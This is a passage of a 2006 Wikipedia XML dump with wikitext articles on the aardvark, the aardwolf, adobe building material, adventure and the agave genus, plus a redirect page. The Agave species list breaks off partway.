The '''Aardvark''' (''Orycteropus afer'') is a medium-sized [[mammal]] native to [[Africa]]. The name comes from the [[Afrikaans]]/[[Dutch language|Dutch]] for &quot;earth pig&quot; (''aarde'' earth, ''varken'' pig), because early settlers from [[Europe]] thought it resembled a [[pig]] (although Aardvarks are not closely related to pigs).

The Aardvark is the only surviving member of the [[Family (biology)|family]] '''Orycteropodidae''' and of the [[Order (biology)|order]] '''Tubulidentata'''. The Aardvark was originally placed in the same [[genus]] as the [[anteater|South American anteater]]s because of superficial similarities which, it is now known, are the result of [[convergent evolution]], not common ancestry. (For the same reason, Aardvarks bear a striking first-glance resemblance to the [[marsupial]] [[Bilby|bilbies]] and [[Bandicoot|bandicoots]] of [[Australasia]], which are not [[Eutheria|placental mammals]] at all.)

The oldest known Tubulidentata fossils have been found in [[Kenya]] and date to the early [[Miocene]]. Although the relationships of Tubulidentata are unknown, they are probably [[Ungulates]]. They spread to Europe and [[southern Asia]] during the later Miocene and early [[Pliocene]] periods. Three genera of the family Orycteropodidae are known: ''Leptorycteropus'', ''Myorycteropus'', and ''Orycteropus'', the surviving Aardvark. A genus from Madagascar may be related to them, called ''Plesiorycteropus''.

The most distinctive characteristic of the Tubulidentata is (as the name implies) their teeth which, instead of having a pulp cavity, have lots of thin tubes of dentine, each containing pulp and held together by cementum. The teeth have no enamel coating and are worn away and regrow continuously. Aardvarks are born with conventional incisors and canines at the front of the jaw, but these fall out and are not replaced. In adult Aardvarks, the only teeth are the molars at the back of the jaw.

[[Image:Orycteropus afer01.jpg|thumb|left|200px|Aardvark]]

Aardvarks are only vaguely pig-like; the body is stout with an arched back; the limbs are of moderate length. The front feet have lost the pollex (or 'thumb')&amp;mdash;resulting in four toes&amp;mdash;but the rear feet have all five toes. Each toe bears a large, robust nail which is somewhat flattened and shovel-like, and appears to be intermediate between a claw and a hoof. The ears are disproportionately long and the tail very thick at the base with a gradual taper.  The greatly elongated head is set on a short, thick neck, and at the end of the snout is a disk in which the nostrils open.  The mouth is typical of species that feed on termites: small and tubular. Aardvarks have long, thin, protrusible tongues and elaborate structures supporting a keen [[olfaction|sense of smell]].

Weight is typically between 40 and 65 kg; length is usually between 1 and 1.3 m. Aardvarks are a pale yellowish gray in color, often stained reddish-brown by soil. The coat is thin and the animal's primary protection is its tough skin; Aardvarks have been known to sleep in a recently excavated ant nest, so well does it protect them. 

In the past, several individual species of Aardvark were named, however current knowledge indicates that there is only one species, ''Orycteropus afer'', with several subspecies; 18 have been listed but most are regarded as invalid.

Aardvarks are [[nocturnal]] and solitary creatures that feed almost exclusively on [[ant]]s and [[termite]]s. An Aardvark emerges from its burrow in the late afternoon or shortly after sunset, and forages over a considerable home range, swinging its long nose from side to side to pick up the scent of food. When a concentration of ants or termites is found, the Aardvark digs into it with its powerful front legs, keeping its long ears upright to listen for predators, and takes up an astonishing number of insects with its long, sticky tongue&amp;mdash;as many as 50,000 in one night has been recorded. They are exceptionally fast diggers, but otherwise move rather slowly. 

Aside from digging out ants and termites, aardvarks also excavate burrows to live in: temporary sites scattered around the home range as refuges, and the main burrow which is used for breeding. Main burrows can be deep and extensive, have several entrances, and be 13m long. Aardvarks change the layout of their home burrow regularly, and from time to time move on and make a new one. Only mothers and young share burrows.

After a gestation period of 7 months, a single young weighing around 2 kg is born, and is able to leave the burrow to accompany its mother after only two weeks. At six months of age it is digging its own burrows, but it will often remain with the mother until the next [[mating season]]. Aardvarks can grow older than 20 years in captivity.

Aardvarks are distributed across most of [[sub-Saharan Africa]], and although killed by humans both for their flesh and for their teeth (which are used as decorations), do not appear to be threatened.

''Aardvark'' is always the first noun in the English dictionary. 

More precise information are given in a diploma thesis on the biology of the aardvark which can be downloaded here: [http://en.wikisource.org/wiki/Image:Aardvark.pdf '''The Biology of the Aardvark''' (''Orycteropus afer'')


==Similar animals==
{{Wikisource1911Enc|Aard-vark}}
*The [[anteater]]s of South America.
*[[Pangolin]]s are also called ''scaly anteaters''. 
*The [[Numbat]] (''Myrmecobius fasciatus''), a [[marsupial]].
*[[Echidna]]s, a family of [[monotreme]]s, are still sometimes called ''spinous anteaters''.
*[[Armadillo]]s are omnivorous but ants form a large part of their diet.

{{Mammals}}

[[Category:Dutch loanwords]]
[[Category:Mammals]]
[[Category:Wildlife of Africa]]
[[cs:Hrabáč]]
[[da:Jordsvin]]
[[de:Erdferkel]]
[[et:Tuhnik]]
[[es:Cerdo hormiguero]]
[[eo:Orikteropo]]
[[fr:Oryctérope du Cap]]
[[he:שנבובאים]]
[[sw:Mhanga]]
[[lt:Vamzdžiadančiai]]
[[li:Eerdverke]]
[[nl:Aardvarken]]
[[no:Jordsvin]]
[[ja:ツチブタ]]
[[pl:Mrównik]]
[[pt:Oricterope]]
[[ru:Трубкозуб]]
[[simple:Aardvark]]
[[sv:Jordsvin]]</text>
    </revision>
  </page>
  <page>
    <title>Aardwolf</title>
    <id>681</id>
    <revision>
      <id>42099772</id>
      <timestamp>2006-03-03T20:55:32Z</timestamp>
      <contributor>
        <username>Hansnesse</username>
        <id>247414</id>
      </contributor>
      <comment>rv to last edit by Dawson</comment>
      <text xml:space="preserve">{{taxobox
| color=pink
| name=Aardwolf
| status = {{StatusConcern}}
| image = Aardwolf.png
| image_width = 235px
| image_caption = Aardwolf
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Carnivora]]
| familia = [[Hyaenidae]]
| genus = '''''Proteles'''''
| species = '''''P. cristatus'''''
| binomial = ''Proteles cristatus''
| binomial_authority = [[Anders Sparrman|Sparrman]] [[1783]]
}}

The '''Aardwolf''' (''Proteles cristatus'') is a small [[mammal]] related to the [[Hyena]], native to Africa. The name means &quot;earth wolf&quot; in [[Afrikaans]].

There are two subspecies: 

* ''Proteles cristatus cristatus'' ([[Southern Africa]])
* ''Proteles cristatus septentrionalis'' ([[East Africa]])

The Aardwolf looks most like the [[Striped Hyena]] but smaller with a more pointed [[muzzle]], sharper [[ear]]s, vertical stripes, and a long mane down the middle line of the neck and back. It stands about 50 cm at the shoulder, weighs around 9 kg, and has two glands at the rear that secrete a musky fluid for marking territory and communicating with other aardwolves.

[[Image:Aardwolf.jpg|thumb|left|180px|Aardwolf from the zoo in [[San Antonio]], [[Texas]]]]

The Aardwolf is nocturnal, sleeping in underground burrows by day. By night, an Aardwolf can consume up to 200,000 harvester [[termites]]. They are also known to feed on other insects, larvae, and eggs.

While primarily solitary, a mating pair will occupy the same territory with their young. Gestation lasts between 90 and 100 days. The first six to eight weeks are spent in the den with the mother. After three months, they begin supervised foraging and set off on their own shortly thereafter.

==External links==
{{Wikisource1911Enc|Aard-wolf}}
*[http://animaldiversity.ummz.umich.edu/site/accounts/information/Proteles_cristatus.html Animal Diversity Web]

[[Category:Hyenas]]
[[Category:Wildlife of Africa]]

[[bg:Земен вълк]]
[[da:Jordulv]]
[[de:Erdwolf]]
[[es:Lobo de tierra]]
[[eo:Protelo]]
[[it:Proteles cristatus]]
[[he:פרוטל (צבועון)]]
[[nl:Aardwolf]]
[[no:Jordulv]]
[[pt:Proteles cristatus]]</text>
    </revision>
  </page>
  <page>
    <title>Adobe</title>
    <id>682</id>
    <revision>
      <id>41628033</id>
      <timestamp>2006-02-28T17:03:30Z</timestamp>
      <contributor>
        <username>Ugur Basak Bot</username>
        <id>735354</id>
      </contributor>
      <minor />
      <comment>robot  Adding: tr</comment>
      <text xml:space="preserve">{{for|the software company|Adobe Systems}}

[[Image:AdobeSurfaceCoatingRenewalOnWall.jpg|frame|right|Renewal of the surface coating of an adobe wall in Chamisal, New Mexico]]

'''Adobe''' is a [[building material]] composed of water, [[sand]]y [[clay]] and  [[straw]] or other organic materials, which is shaped into bricks using wooden frames and dried in the sun, also known as [[Mudbrick]] . Adobe structures are extremely durable and account for the oldest extant buildings on the planet. Adobe buildings also offer significant advantages in hot, dry [[climate]]s, as they remain cooler as it stores and releases heat very slowly.  

The word &quot;adobe&quot; is Spanish and comes from the Arabic &quot;at-tub&quot;, the brick, and from the Coptic &quot;tObe&quot;. The word may be pronounced ah-doh-beh or uh-doh-bee. Buildings made of sun-dried earth are common in [[the Middle East]], [[North Africa]], and in [[Spain]] (usually in the [[Mudejar]] style). The method of brickmaking was imported to the Americas in the [[16th century]] by Spaniards.

A distinction is sometimes made between the smaller ''adobes,'' which are about the size of ordinary baked bricks, and the larger ''adobines,'' some of which are as much as from one to two yards long.

In more modern usage, the term &quot;adobe&quot; has come to mean a style of architecture that is popular in the [[desert]] [[climate]]s of [[North America]], especially in [[New Mexico]].  Cf. [[stucco]].

[[Image:Adobe kilns from HABS.jpg|frame|right|Detail of Adobe kilns in Arizona]]

==Composition of adobe==
An adobe brick is made of soil mixed with water and an organic material such as straw or animal dung. The soil composition typically contains [[clay]] and [[sand]]. Straw is useful in binding the brick together and allowing the brick to dry evenly. Dung offers the same advantage and is also added to repel insects.

==Adobe bricks==
Bricks are made in an open frame, 25 cm (10 inches) by 36 cm (14 inches) is a reasonable size, but any convenient size is fine for your own use. After the mud is put into the frame the frame is removed. After a few hours the bricks are put on edge to finish drying. Bricks should be dried in the shade to avoid cracking.

Use the same mixture you use to make bricks for mortar when laying the bricks and for plaster on the interior and exterior walls. Some ancient cultures used concrete for the plaster to avoid rain damage. It is sometimes useful to include occasional pieces of wood as you lay a wall to give something to nail insulation onto, and stone can be used for additional strength.

The largest structure ever made from adobe (bricks), was the [[Bam Citadel]], which suffered serious damage, up to 80%, by an earthquake on December 26, 2003. Other large adobe structures are the [[Huaca del Sol]] in [[Peru]], built using 100 million signed bricks, and the ciudellas of [[Chan Chan]], also in Peru.

==Thermal properties==

Because an adobe wall, either made of bricks or using a [[rammed earth]] technique, is quite massive it will hold heat or cold.  A south facing adobe wall may be left uninsulated in order to collect heat during the day. It should be thick enough that it remains cool on the inside during the heat of the day but should be thin enough that the heat can be transferred through the wall by evening. Such a wall can be covered with glass to increase heat collection. Used in a [[passive solar heating|passive solar]] home, such a wall is called a [[Trombe wall]].   Adobe has a large thermal mass, therefore this type of construction is only good in tropical climates. In temperate climates it is almost impossible to heat a home of this type as the heat is leached by the ground and the walls.

==Around the world==
&lt;gallery&gt;
Image:RomaniaDanubeDelta MakingMaterialForCOnstructing0003jpg.JPG|Still in production today, Danube Delta
Image:RomaniaDanubeDelta MakingMaterialForCOnstructing0002jpg.JPG
Image:RomaniaDanubeDelta MakingMaterialForCOnstructing0001jpg.JPG
Image:RomaniaDanubeDelta MakingMaterialForCOnstructing0004jpg.JPG

&lt;/gallery&gt;
''See also'' [[Hassan Fathy]], [[mudbrick]]

==External links==


*[http://www.eartharchitecture.org Earth Architecture] - A website whose focus is contemporary issues in earth architecture.
*[http://www.buildingwithawareness.com/ '''Building With Awareness''' - A detailed how-to DVD video that shows adobe wall construction and their use as thermal mass walls]
* [http://www.calearth.org '''Cal-Earth''' (The California Institute of Earth Art and Architecture)] has developed a patented system called Superadobe, in which bags filled with stabilized earth are layered with strands of barbed wire to form a structure strong enough to withstand earthquakes, fire and flood.

[[Category:Materials]]
[[Category:Masonry]]
[[:Category:Appropriate technology]] 
[[Category:Arabic words]]

[[ar:أدوب (الطوب)]]
[[cs:Adobe (stavebnictví)]]
[[de:Adobe (Ziegel)]]
[[es:Adobe (construcción)]]
[[eo:Adobo]]
[[fr:Adobe (brique)]]
[[hu:Vályog]]
[[pl:Adobe (budownictwo)]]
[[pt:Adobe]]
[[tr:Kerpiç]]</text>
    </revision>
  </page>
  <page>
    <title>Adventure</title>
    <id>683</id>
    <revision>
      <id>38395655</id>
      <timestamp>2006-02-06T01:29:37Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] spelling &quot;occurrence&quot;; see [[WP:Typo]]</comment>
      <text xml:space="preserve">:''For other uses, see [[Adventure (disambiguation)]].''

'''Adventure''' refers to events which happen unexpectedly and involve the chance of danger or loss.  Adventures can include daring feats, remarkable occurrences, stirring encounters, and major life undertakings.  

Adventurous experiences create psychological and physiological [[arousal]] which can be interpreted as negative (e.g., [[fear]]) or positive (e.g., [[flow]]) (see [[Yerkes-Dodson law]]).  For some people, adventure becomes a major pursuit in and of itself, for example see [[Extreme Sports]].

===Applications of Adventure===

Adventure is a term used in many contexts and situations.  For example, it is a key component of  [[narrative]], [[story-telling]], [[drama]] and [[role-playing]] and the concept is used to structure and interpet [[books]], [[film]]s, music and [[computer games]].  Adventure is also used within [[education]], [[sport]], [[tourism]] and others forms of [[entertainment]].  Examples of these adventure genres and applications include:

* [[Adventure education]] is the use of challenging experiences for learning.
* [[Adventure film]] is a film genre.
* [[Adventure game]] is a computer game genre.
* [[Adventure novel]] is a fiction genre.
* [[Adventure (role-playing games)]] involve acting out a specific storyline or plotline.
* [[Adventure racing]] involves competing in multiple outdoor adventure extreme sports.
* [[Adventure tourism]] offers travellers chances to have exciting travel encounters.

===See also===
* [[Risk]]

{{socio-stub}}

[[de:Abenteuer]]
[[es:Aventura]]
[[fr:Aventure]]
[[sv:Äventyrsspel]]</text>
    </revision>
  </page>
  <page>
    <title>Agatho</title>
    <id>684</id>
    <revision>
      <id>15899210</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Pope Agatho]]
</text>
    </revision>
  </page>
  <page>
    <title>Agave</title>
    <id>685</id>
    <revision>
      <id>42091317</id>
      <timestamp>2006-03-03T19:45:20Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''For the queen of Greek mythology, see [[Agave (mythology)]].''
{{Taxobox
| color = lightgreen
| name = ''Agave''
| image = Agave americana a-m.jpg
| image_width = 250px
| image_caption = [[Century plant]]
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Liliopsida]]
| ordo = [[Asparagales]]
| familia = [[Agavaceae]]
| genus = '''''Agave'''''
| genus_authority = [[Carolus Linnaeus|L.]]
| subdivision_ranks = [[Species]]
| subdivision = 
''[[Agave americana]]''&lt;br /&gt;
''[[Agave fourcroydes]]''&lt;br /&gt;
''[[Agave sisalana]]''&lt;br /&gt;
many others, see text
}}

'''Agaves''' are [[succulent plant|succulent]] [[plant]]s of a large botanical genus of the same name, belonging to the family [[Agavaceae]]. Chiefly [[Mexico|Mexican]], they occur also in the southern and western [[United States]] and in central and tropical [[South America]].  The plants have a large rosette of thick fleshy leaves generally ending in a sharp point and with a spiny margin; the stout stem is usually short, the leaves apparently springing from the root.

Each rosette is [[monocarpic]] and grows slowly to flower but once after a number of years, when a tall stem or &quot;mast&quot; grows from the center of the leaf rosette and bears a large number of shortly tubular flowers.  After development of fruit the original plant dies, but suckers are frequently produced from the base of the stem which become new plants.

[[Image:Agaveattenuata1web.jpg|thumb|left|Swan's Neck Agave (''Agave attenuata'')]]
The most familiar species is ''[[Agave americana]]'', a native of tropical America, the so-called [[century plant|Century Plant]] or American [[aloe]] (the [[maguey]] of Mexico). The name refers to the long time the plant takes to flower, although the number of years before flowering occurs depends on the vigor of the individual, the richness of the soil and the climate; during these years the plant is storing in its fleshy leaves the nourishment required for the effort of flowering. During the development of the inflorescence there is a rush of sap to the base of the young flowerstalk. In the case of ''A. americana'' and other species this is used by the Mexicans to make their national beverage, [[pulque]]; the flower shoot is cut out and the sap collected and subsequently fermented. By distillation a spirit called [[mezcal]] is prepared. The leaves of several species yield fiber, as for instance, ''Agave rigida var. sisalana'', [[sisal]] hemp, ''Agave decipiens'', False Sisal Hemp; ''Agave americana'' is the source of pita fiber, and is used as a fiber plant in Mexico, the [[West Indies]] and southern [[Europe]]. The flowering stem of the last named, dried and cut in slices, forms natural razor strops, and the expressed juice of the leaves will lather in water like soap. The Native Americans of Mexico used the agave both to make pens, nails and needles as well as string to sew and make weavings. In [[India]] the plant is extensively used for hedges along railroads.

[[Image:Aloe-flower.jpg|thumb|Agave in bloom in a garden (Roquevaire, Bouches-du-Rhône, France, September 1978)]]

''Agave americana'', century plant, was introduced into Europe about the middle of the [[16th century]] and is now widely cultivated for its handsome appearance; in the variegated forms the leaf has a white or yellow marginal or central stripe from base to apex. As the leaves unfold from the center of the rosette the impression of the marginal spines is very conspicuous on the still erect younger leaves. The tequ plants are usually grown in tubs and put out in the summer months, but in the winter require protection from frost. They mature very slowly and die after flowering, but are easily propagated by the offsets from the base of the stem.

Agave [[nectar (plant)|nectar]] has been used as an alternative to [[sugar]] in cooking.

The juice from many species of agave can cause acute contact [[dermatitis]].  It will produce reddening and blistering lasting one to two weeks.  Episodes of itching may recur up to a year thereafter, even though there is no longer a visible rash.  Interestingly, dried parts of the plants can be handled with bare hands with little or no effect.

==Taxonomy==
Agaves were once classified in [[Liliaceae]] but most references now include them in their own family, [[Agavaceae]].

Agaves have long presented special difficulties for [[taxonomy]]; variations within a species may be considerable, and a number of named species are of unknown origin, and may just be variants of original wild species. 

Spanish and Portuguese explorers probably brought agaves back with them, but really became popular in Europe during the [[19th century]], with many types being imported by collectors. Some of have been continuously propagated by offset since then, and do not consistently resemble any species known in nature, although this may simply be due to the unnatural growing conditions in Europe.

==Species==
*''[[Agave aboriginum]]''
*''[[Agave abortiva]]''
*''[[Agave abrupta]]''
*''[[Agave acicularis]]''
*''[[Agave acklinicola]]''
*''[[Agave affinis]]''
[[Image:Agave lechuguilla0.jpg|thumb|right|''Agave lecheguilla'']]
*''Agave × ajoensis'' = ''Agave schottii'' var. ''schottii'' × ''Agave deserti'' var. ''simplex''
*''[[Agave aktites]]''
*''[[Agave albescens]]''
*''[[Agave albomarginata]]''
*''[[Agave alibertii]]''
*''[[Agave aloides]]''
*''[[Agave amaniensis]]''
*''[[Agave americana]]'' L. &amp;ndash; American Agave, American Century Plant, Century Plant, Maguey americano
**''Agave americana'' var. ''americana''
**''Agave americana'' var. ''expansa''
**''Agave americana'' var. ''latifolia''
**''Agave americana'' var. ''marginata''
**''Agave americana'' var. ''medio-picta''
**''Agave americana'' var. ''oaxacensis''
**''Agave americana'' var. ''striata''
**''Agave americana'' ssp. ''protamericana''
[[Image:Agave tequilana0.jpg|thumb|right|Tequila Agave (''Agave tequilana'')]]
*''[[Agave angustiarum]]''
*''[[Agave angustifolia]]'' Haw. &amp;ndash; Century plant, Maguey espad n
*''[[Agave angustissima]]''
*''[[Agave anomala]]''
*''[[Agave antillarum]]''
**''Agave antillarum'' var. ''grammontensis''
*''[[Agave applanata]]''
*''[[Agave arizonica]]'' Gentry &amp; J.H. Weber &amp;ndash; Arizona Agave, Arizona Century Plant
*''[[Agave arubensis]]''
*''[[Agave aspera]]''
*''[[Agave asperrima]]'' Jacobi &amp;ndash; Maguey spero, Rough Century Plant
*''[[Agave attenuata]]'' &amp;ndash; Swan's Neck Agave, Dragon Tree Agave, Foxtail Agave
*''[[Agave aurea]]''
[[Image:Agaveespinho1.jpg|thumb|right|''Agave horrida'']]
*''[[Agave avellanidens]]''
*''[[Agave bahamana]]''
*''[[Agave bakeri]]''
*''[[Agave banlan]]''
*''[[Agave barbadensis]]''
*''[[Agave baxteri]]''
*''[[Agave bergeri]]''
*''[[Agave bernhardi]]''
*''[[Agave boldinghiana]]''
*''[[Agave bollii]]''
*''[[Agave botterii]] ''
*''[[Agave bouchei]]''
*''[[Agave bourgaei]]''
*''[[Agave bovicornuta]]'' &amp;ndash; Cowhorn Agave
*''[[Agave braceana]]''
*''[[Agave brachystachys]]''
*''[[Agave bracteosa]]'' &amp;ndash; Squid Agave
*''[[Agave brandegeei]]''
*''[[Agave brauniana]]''
*''[[Agave breedlovei]]''
*''[[Agave brevipetala]]''
*''[[Agave breviscapa]]''
*''[[Agave brevispina]]''
*''[[Agave brittonia]]''
*''[[Agave bromeliaefolia]]''
*''[[Agave brunnea]]''
*''[[Agave bulbifera]]''
*''[[Agave cacozela]]''
*''[[Agave cajalbanensis]]''
*''[[Agave calderoni]]''
*''[[Agave calodonta]]''
*''[[Agave campanulata]]''
*''[[Agave cantala]]'' Roxb. &amp;ndash; cantala, Maguey de la India (supplies Manila-Maquey fiber)
*''[[Agave capensis]]''
[[Image:Agave1web.jpg|thumb|right|agave]]
*''[[Agave carchariodonta]]''
*''[[Agave caribaea]]''
*''[[Agave caribiicola]]''
*''[[Agave carminis]]''
*''[[Agave caroli-schmidtii]]''
*''[[Agave celsii]]''
*''[[Agave cernua]]''
*''[[Agave cerulata]]''
**''Agave cerulata'' ssp. ''subcerulata''
*''[[Agave chiapensis]]'' (syn. ''Agave polyacantha'')
*''[[Agave chihuahuana]]''
*''[[Agave chinensis]]''
*''[[Agave chisosensis]]''
*''[[Agave chloracantha]]''
*''[[Agave chrysantha]]'' Peebles &amp;ndash; Golden Flowered Agave, Golden Flower Century Plant
*''[[Agave chrysoglossa]]''
*''[[Agave coccinea]]''
*''[[Agave cocui]]''
*''[[Agave coespitosa]]''
*''[[Agave colimana]]''
*''[[Agave collina]]''
*''[[Agave colorata]]'' &amp;ndash; Mescal ceniza
*''[[Agave compacta]]''
*''[[Agave complicata]]''
*''[[Agave compluviata]]''
*''[[Agave concinna]]''
*''[[Agave congesta]]''
*''[[Agave conjuncta]]''
*''[[Agave connochaetodon]]''
*''[[Agave consociata]]''
*''[[Agave convallis]]''
*''[[Agave corderoyi]]''
*''[[Agave costaricana]]''
*''[[Agave cucullata]]''
*''[[Agave cundinamarcensis]]''
*''[[Agave cupreata]]''
*''[[Agave dasyliriodes]]''
*''[[Agave datylio]]''
*''[[Agave davilloni]]''
*''[[Agave de-meesteriana]]''
*''[[Agave dealbata]]''
*''[[Agave deamiana]]''
*''[[Agave debilis]]''
*''[[Agave decaisneana]]''
*''[[Agave decipiens]]'' Baker &amp;ndash; False Sisal
*''[[Agave delamateri]]'' W.C. Hodgson &amp; L. Slauson
*''[[Agave densiflora]]''
*''[[Agave dentiens]]''
*''[[Agave deserti]]'' Engelm. &amp;ndash; Desert Century Plant, Desert Agave, Maguey de Desierto
**''Agave deserti'' ssp. ''simplex''
*''[[Agave desmettiana]]'' Jacobi &amp;ndash; Dwarf Century Plant, Smooth Agave (syn. ''A. miradorensis'')
*''[[Agave diacantha]]''
*''[[Agave difformis]]''
*''[[Agave disceptata]]''
*''[[Agave disjuncta]]''
*''[[Agave dissimulans]]''
*''[[Agave donnell-smithii]]''
*''[[Agave durangensis]]''
*''[[Agave dussiana]]''
*''[[Agave eborispina]]''
*''[[Agave eduardi]]''
*''[[Agave eggersiana]]'' Trel. &amp;ndash; Eggers' Century Plant, St. Croix Agave
*''[[Agave ehrenbergii]]''
*''[[Agave eichlami]]''
*''[[Agave ekmani]]''
*''[[Agave elizae]]''
*''[[Agave ellemeetiana]]''
*''[[Agave endlichiana]]''
*''[[Agave engelmanni]]''
*''[[Agave entea]]''
*''[[Agave erosa]]''
*''[[Agave evadens]]''
*''[[Agave excelsa]]''
*''[[Agave expatriata]]''
*''[[Agave falcata]]''
**''Agave falcata'' var. ''espadina''
**''Agave falcata'' var. ''microcarpa''
*''[[Agave felgeri]]'' &amp;ndash; Mescalito
*''[[Agave felina]]''
*''[[Agave fenzliana]]''
*''[[Agave ferdinandi-regis]]''
*''[[Agave filifera]]'' &amp;ndash; Thread-leaf Agave
**''Agave filifera'' subsp. ''microceps''
*''[[Agave flaccida]]''
*''[[Agave flaccifolia]]''
*''[[Agave flavovirens]]''
*''[[Agave flexispina]]''
*''[[Agave fortiflora]]''
*''[[Agave fourcroydes]]'' Lemaire &amp;ndash; Henequen, Maguey Henequen, Mexican Sisal (supplies henequen fiber)
**''Agave fourcroydes var. espiculata''
*''[[Agave fragrantissima]]''
*''[[Agave franceschiana]]''
*''[[Agave franzosini]]''
*''[[Agave friderici]]''
*''[[Agave funifera]]''
*''[[Agave funkiana]]'' &amp;ndash; Ixtle de Jaumave (syn. ''Agave lophanta'')
*''[[Agave galeottei]]''
*''[[Agave garciae-mendozae]]''
*''[[Agave geminiflora]]''
**''Agave geminiflora'' var. ''filifera''
*''[[Agave gentryi]]''
*''[[Agave ghiesbrechtii]]''
*''[[Agave glabra]]''
*''[[Agave glaucescens]]''
*''[[Agave goeppertiana]]''
*''[[Agave glomeruliflora]]'' (Engelm.) Berger &amp;ndash; Chisos Mountain Century Plant, Maguey del Bravo
*''[[Agave gracilipes]]'' Trel. &amp;ndash; Maguey de pastizal, Slimfoot Century Plant
*''[[Agave gracilis]]''
*''[[Agave grandibracteata]]''
*''[[Agave granulosa]]''
*''[[Agave grenadina]]''
*''[[Agave grijalvensis]]''
*''[[Agave grisea]]''
*''[[Agave guadalajarana]]'' &amp;ndash; Maguey chato
*''[[Agave guatemalensis]]''
*''[[Agave guedeneyri]]''
*''[[Agave guiengola]]''
*''[[Agave gutierreziana]]''
*''[[Agave guttata]]''
*''[[Agave gypsophila]]''
*''[[Agave hanburii]]''
*''[[Agave harrisii]]''
*''[[Agave hartmani]]''
*''[[Agave haseloffii]]''
*''[[Agave hauniensis]]''
*''[[Agave havardiana]]'' Trel. &amp;ndash; Havard's Century Plant, Chisos Agave, Maguey de Havard
*''[[Agave haynaldi]]''
*''[[Agave henriquesii]]''
*''[[Agave hexapetala]]''
*''[[Agave hiemiflora]]''
*''[[Agave hookeri]]''
*''[[Agave horizontalis]]''
*''[[Agave horrida]]''
*''[[Agave houghii]]''
*''[[Agave huachucaensis]]''
*''[[Agave huehueteca]]''
*''[[Agave humboldtiana]]''
*''[[Agave hurteri]]''
*''[[Agave impressa]]''
*''[[Agave inaequidens]]''
*''[[Agave inaguensis]]''
*''[[Agave indagatorum]]''
*''[[Agave ingens]]''
*''[[Agave inopinabilis]]''
*''[[Agave integrifolia]]''
*''[[Agave intermixta]]''
*''[[Agave intrepida]]''
*''[[Agave isthmensis]]''
*''[[Agave jaiboli]]''
*''[[Agave jarucoensis]]''
*''[[Agave karatto]]''
*''[[Agave kellermaniana]]''
*''[[Agave kerchovei]]''
*''[[Agave kewensis]]''
*''[[Agave kirchneriana]]''
*''[[Agave lagunae]]''
*''[[Agave langlassei]]''
*''[[Agave laticincta]]''
*''[[Agave latifolia]]''
*''[[Agave laurentiana]]''
*''[[Agave laxa]]''
*''[[Agave laxifolia]]''
*''[[Agave lecheguilla]]'' Torr. &amp;ndash; Agave lechuguilla, Lecheguilla, Lechuguilla, Maguey lechuguilla (syn. ''Agave heteracantha'')
*''[[Agave lemairei]]''
*''[[Agave lempana]]''
*''[[Agave lespinassei]]''
*''[[Agave lindleyi]]''
*''[[Agave littaeaoides]]''
*''[[Agave longipes]]''
*''[[Agave longisepala]]''
*''[[Agave lophantha]]'' Schiede &amp;ndash; Maguey mezortillo, Thorncrest Century Plant
*''[[Agave lurida]]''
*''[[Agave macrantha]]''
*''[[Agave macroculmis]]'' (= ''Agave gentryi'') &amp;ndash; Hardy Century Plant
*''[[Agave maculata]]''
*''[[Agave madagascariensis]]''
*''[[Agave mapisaga]]''
*''[[Agave margaritae]]''
*''[[Agave marmorata]]''
*''[[Agave martiana]]''
*''[[Agave maximiliana]]''
*''[[Agave maximowicziana]]''
*''[[Agave mayoensis]]''
*''[[Agave mckelveyana]]'' Gentry &amp;ndash; Mckelvey Agave, McKelvey's Century Plant
*''[[Agave medioxima]]''
*''[[Agave megalacantha]]''
*''[[Agave melanacantha]]''
*''[[Agave melliflua]]''
*''[[Agave mexicana]]''
*''[[Agave micracantha]]''
*''[[Agave millspaughii]]''
*''[[Agave minarum]]''
*''[[Agave mirabilis]]''
*''[[Agave missionum]]'' Trel. &amp;ndash; Corita
*''[[Agave mitis]]''
*''[[Agave monostachya]]''
*''[[Agave montana]]''
*''[[Agave montserratensis]]''
*''[[Agave moranii]]''
*''[[Agave morrisii]]''
*''[[Agave muilmanni]]''
*''[[Agave mulfordiana]]''
*''[[Agave multifilifera]]''
*''[[Agave multiflora]]''
*''[[Agave multilineata]]''
*''[[Agave murpheyi]]'' F. Gibson &amp;ndash; Maguey Bandeado, Murphey Agave, Murphey's Century Plant, Hohokam Agave
*''[[Agave nashii]]''
*''[[Agave nayaritensis]]''
*''[[Agave neglecta]]'' Small &amp;ndash; Wild Century Plant
*''[[Agave nelsoni]]''
*''[[Agave nevadensis]]''
*''[[Agave nevidis]]''
*''[[Agave newberyi]]''
*''[[Agave nickelsi]]''
*''[[Agave nissoni]]''
*''[[Agave nizandensis]]'' &amp;ndash; Dwarf Octopus Agave
*''[[Agave noli-tangere]]''
*''[[Agave obducta]]''
*''[[Agave oblongata]]''
*''[[Agave obscura]]''
*''[[Agave ocahui]]''
**''Agave ocahui'' var. ''longifolia''
*''[[Agave offoyana]]''
*''[[Agave oligophylla]]''
*''[[Agave oliverana]]''
*''[[Agave opacidens]]''
*''[[Agave orcuttiana]]''
*''[[Agave ornithobroma]]'' &amp;ndash; Maguey pajarito
*''[[Agave oroensis]]''
*''[[Agave ovatifolia]]''
*''[[Agave oweni]]''
*''[[Agave pachyacantha]]''
*''[[Agave pachycentra]]''
*''[[Agave pacifica]]''
*''[[Agave pallida]]''
*''[[Agave palmaris]]''
*''[[Agave palmeri]]'' Engelm. &amp;ndash; Maguey de tlalcoyote, Palmer Agave, Palmer Century Plant, Palmer's Century Plant
*''[[Agave pampaniniana]]''
*''[[Agave panamana]]''
*''[[Agave papyriocarpa]]''
*''[[Agave parryi]]'' Engelm. &amp;ndash; Mezcal yapavai, Parry Agave, Parry's Agave
**''Agave parryi'' var. ''truncata''
*''[[Agave parvidentata]]''
*''[[Agave parviflora]]'' Torr. &amp;ndash; Maguey sbari, Smallflower Agave, Smallflower Century Plant, Little Princess Agave
**''Agave parviflora'' subsp. ''flexiflora''
*''[[Agave patonii]]''
